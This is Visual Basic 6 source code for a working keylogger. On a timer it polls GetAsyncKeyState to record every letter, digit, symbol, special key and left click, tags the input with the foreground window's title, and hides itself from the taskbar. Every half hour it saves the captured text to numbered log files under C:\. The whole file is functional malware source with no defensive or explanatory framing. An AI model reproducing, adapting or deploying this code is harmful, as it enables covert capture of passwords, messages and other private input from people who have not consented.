Dim KTime As Integer
Dim n    As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form_Load()
KTime = 0
Timer2.Interval = 1000
Form1.Visible = True
App.TaskVisible = False
n = 1
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = ")"
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "^"
ChangeChr(55) = "&"
ChangeChr(56) = "*"
ChangeChr(57) = "("

ChangeChr(186) = ";"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "/"

ChangeChr(219) = "["
ChangeChr(220) = "\"
ChangeChr(221) = "]"
ChangeChr(222) = "'"


ChangeChr(86) = ":"
ChangeChr(87) = "+"
ChangeChr(88) = "<"
ChangeChr(89) = "_"
ChangeChr(90) = ">"
ChangeChr(91) = "?"

ChangeChr(119) = "{"
ChangeChr(120) = "|"
ChangeChr(121) = "}"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function

Private Sub Timer1_Timer()

'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
            
 End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
  Text1 = Text1 & Chr(i)
  Exit Sub
  End If
  
 End If
Next


';=,-./
For i = 186 To 192
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
  
 End If
Next


'[\]'
For i = 219 To 222
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
  
 End If
Next

'num pad
For i = 96 To 111
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
  
  If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  AltDown = True
  Text1 = Text1 & "[ALTDOWN]"
  Else
   If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
   AltDown = False
   Text1 = Text1 & "[ALTUP]"
   End If
  End If
  
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
 End If
Next

 'for space
 If GetAsyncKeyState(32) = -32767 Then
 TypeWindow
  Text1 = Text1 & " "
 End If

 'for enter
 If GetAsyncKeyState(13) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[Enter]"
 End If
  
 'for backspace
 If GetAsyncKeyState(8) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[BackSpace]"
 End If
  
 'for left arrow
 If GetAsyncKeyState(37) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[LeftArrow]"
 End If
  
 'for up arrow
 If GetAsyncKeyState(38) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[UpArrow]"
 End If
  
 'for right arrow
 If GetAsyncKeyState(39) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[RightArrow]"
 End If
  
  'for down arrow
 If GetAsyncKeyState(40) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[DownArrow]"
 End If

 'tab
 If GetAsyncKeyState(9) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[Tab]"
 End If
  
  'escape
 If GetAsyncKeyState(27) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[Escape]"
 End If

 'insert, delete
 For i = 45 To 46
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 Text1 = Text1 & ChangeChr(i)
 End If
 Next

 'page up, page down, end, home
 For i = 33 To 36
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 Text1 = Text1 & ChangeChr(i)
 End If
 Next
  
 'left click
 If GetAsyncKeyState(1) = -32767 Then
   If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
   Text1 = Text1 & "[LeftClick]"
   End If
 End If

End Sub

Private Sub Timer2_Timer()
KTime = KTime + 1
If KTime = 1800 Then
Dim fnum As Integer
't = t + 1
' If t < 30 Then Exit Sub
 On Error GoTo Ninguno
    fnum = FreeFile
    Open "C:\log" & n & ".txt" For Output As fnum
        Print #fnum, Text1.Text
  Close fnum
 n = n + 1
' t = 0
Text1.Text = "" 'vacia el textbox
Ninguno:
KTime = 0
End If
Label1.Caption = KTime
End Sub